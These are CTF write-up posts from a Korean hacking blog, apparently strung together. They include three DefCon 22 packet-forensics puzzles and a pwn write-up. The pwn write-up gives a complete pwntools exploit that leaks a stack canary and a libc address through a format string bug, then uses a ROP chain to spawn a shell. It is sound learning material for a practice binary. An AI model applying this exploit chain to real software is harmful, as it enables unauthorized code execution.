stun 프로토콜로 많은 메세지를 주고 받았는데 너무 많아서 직접 확인하는건 힘들고 정규식을 이용해서 찾았다.

drpoppins-735@127.0.0.1

질문이 "Ill-song의 컴퓨터 이름은 무엇입니까?"

컴퓨터 이름을 물어보니 drpoppins-735가 정답이다.

728x90

'해킹 > writeup' 카테고리의 다른 글

DreamHack - cookie  (0) 2021.08.10
DreamHack - proxy-1  (0) 2021.08.10
DefCoN#22 #3  (0) 2021.08.06
DefCoN#22 #2  (0) 2021.08.06
22. format string bug - prob2  (0) 2021.08.03

Snowden’s eloquent quotes를 검색하면 아래 이미지의 글이 나온다.

Snowden’s eloquent quotes

ftp로 파일을 받은게 있어서

ftp-data로 찾아서 받아 압축을 풀어봤는데 위에 문장을 만들기에는 단어가 부족해서 더 찾아봤다.

Follow TCP Stream 해서 Show data as 를 Raw 로 바꾸고 Save as... 로 저장할 수 있다.

내용에 .zip이 들어가는 패킷을 찾아서 살펴보면

3개의 zip 파일이 더 나온다.

내용만 Hex Dump 로 복사해서 Hex Dump 를 파일로 바꿔주는 프로그램을 간단하게 만들어서 zip파일로 만들었다.

HexDump2File.zip
0.13MB

HexDump2File.exe canc3l.txt canc3l.zip

이렇게 모든 zip 파일을 추출해내고 압축을 풀어서 문장 순서대로 합치면

(around the world 에서 the 를 넣으면 이미지가 깨진다.)

cat I.jpg cant.jpg in.jpg good.jpg conscience.jpg allow.jpg the.jpg U.S..jpg government.jpg to.jpg destroy.jpg privacy.jpg internet.jpg freedom.jpg and.jpg basic.jpg liberties.jpg for.jpg people.jpg around.jpg world.jpg with.jpg this.jpg massive.jpg surveillance.jpg machine.jpg theyre.jp
g secretly.jpg building.jpg > ../output.jpg

이러한 이미지가 나온다.

문제의 질문이 "이 캡처를 보고 뇌물이 무엇인지 알아낼 수 있는지 확인하십시오." 이므로

구글에서 이미지로 검색을 해 보면 이 이미지의 원본인거 같은

http://chrisbathgate.blogspot.com/2013/05/chess-by-bathgate.html

 

Chess by Bathgate

It has been many months since the last time I completed a work or made a new post. This is all because I have been hard...

chrisbathgate.blogspot.com

블로그가 나온다.

Chess Set 이 플래그다.

728x90

'해킹 > writeup' 카테고리의 다른 글

DreamHack - proxy-1  (0) 2021.08.10
DefCoN#22 #4  (0) 2021.08.06
DefCoN#22 #2  (0) 2021.08.06
22. format string bug - prob2  (0) 2021.08.03
21. format string bug - prob1  (0) 2021.08.01

IRC 패킷을 Follow -> TCP Stream 을 이용해서 열어보면, 인코딩 된 메세지들이 보이는데

Ill_Song 의 패킷은 Base64로 디코딩 한 뒤, hex 또는 octal 로 디코딩 하면 됩니다.

Razor1 의 패킷은 Base64로 디코딩 한 뒤, Base32로 디코딩 하면 됩니다.

Razor1의 패킷중 디코딩하다 보면

I can be in c9fa5b8cb3b197ae5ce4baf8415a375b within the week.

이라는 메세지가 있는데, 중간에 있는 "c9fa5b8cb3b197ae5ce4baf8415a375b" 이게 md5로 해싱되어 있습니다.

MD5 reverse for c9fa5b8cb3b197ae5ce4baf8415a375b (gromweb.com)

 

MD5 reverse for c9fa5b8cb3b197ae5ce4baf8415a375b

The MD5 hash: c9fa5b8cb3b197ae5ce4baf8415a375b was succesfully reversed into the string: Caracas Feel free to provide some other MD5 hashes you would like to try to reverse. Reverse a MD5 hash You can generate the MD5 hash of the string which was just reve

md5.gromweb.com

Caracas가 나옵니다. 플래그는 Caracas입니다.

728x90

'해킹 > writeup' 카테고리의 다른 글

DefCoN#22 #4  (0) 2021.08.06
DefCoN#22 #3  (0) 2021.08.06
22. format string bug - prob2  (0) 2021.08.03
21. format string bug - prob1  (0) 2021.08.01
20. sung.pw - BaskinRobins31  (0) 2021.08.01

prob2
0.01MB

전 글과 같이 이번에도 포맷스트링 버그를 이용하여 쉘을 얻을것인데, 이번에는 canary 보호기법이 적용되어 있어 canary까지 유출해보도록 하겠습니다.

canary는 rsp+0x18에 위치하니 %(5+0x18/8+1)$p로 포맷스트링을 만들어주고, ret은 rbp+0x8인데 rbp는 rsp+0x20이기 때문에, rsp+0x28에 위치합니다. %(5+0x28/8+1)$p로 포맷스트링을 만들어서 전송해 주겠습니다.

 

계산해보면 "%9$p.%11$p"인데 중간에 .은 출력을 가져올 때 두 주소를 구분하기 위한 문자입니다. 총 10자로 scanf 에서 10자만 받으니 sendline으로 보내면 입력 버퍼에 개행만 남아 다음 read에서 그냥 넘어가기 때문에 send 로 보내주겠습니다.

payload = "%{}$p.%{}$p".format(str(5+(0x18/8)+1), str(5+(0x28/8)+1))

r.send(payload)

값을 받아오겠습니다.

canary = int(r.recvuntil(".")[:-1], 16)
print(hex(canary))
ret = int(r.recv(14), 16)
print(hex(ret))

ret 을 받아왔으니 libc base를 구해주고, system함수와 /bin/sh문자열을 가져오겠습니다.

_base = ret - 240 - libc.sym['__libc_start_main']
_system = _base + libc.sym['system']
_binsh = _base + libc.search("/bin/sh\x00").next()

그리고 이걸 이용하여 canary가 있는 위치 전까지 더미값으로 덮어씌우고, canary를 유출한 값으로 다시 덮어 씌우겠습니다. 그 다음 SFP 더미값으로 덮어 씌우고 RET을 system("/bin/sh")로 써주겠습니다.

payload = "A" * (0x18)
payload += p64(canary)
payload += "B" * 8
payload += p64(prdi)
payload += p64(_binsh)
payload += p64(_system)

r.sendline(payload)

그리고 실행하게 되면 쉘이 실행되게 됩니다.

from pwn import *

context.log_level = 'debug'

e = ELF('./prob2')
r = process('./prob2')
libc = e.libc

prdi = 0x0000000000400893

payload = "%{}$p.%{}$p".format(str(5+(0x18/8)+1), str(5+(0x28/8)+1))

r.send(payload)

canary = int(r.recvuntil(".")[:-1], 16)
print(hex(canary))
ret = int(r.recv(14), 16)
print(hex(ret))

_base = ret - 240 - libc.sym['__libc_start_main']
_system = _base + libc.sym['system']
_binsh = _base + libc.search("/bin/sh\x00").next()

payload = "A" * (0x18)
payload += p64(canary)
payload += "B" * 8
payload += p64(prdi)
payload += p64(_binsh)
payload += p64(_system)

r.sendline(payload)

r.interactive()
728x90

'해킹 > writeup' 카테고리의 다른 글

DefCoN#22 #3  (0) 2021.08.06
DefCoN#22 #2  (0) 2021.08.06
21. format string bug - prob1  (0) 2021.08.01
20. sung.pw - BaskinRobins31  (0) 2021.08.01
19. sung.pw - rop64_v2  (0) 2021.08.01

+ Recent posts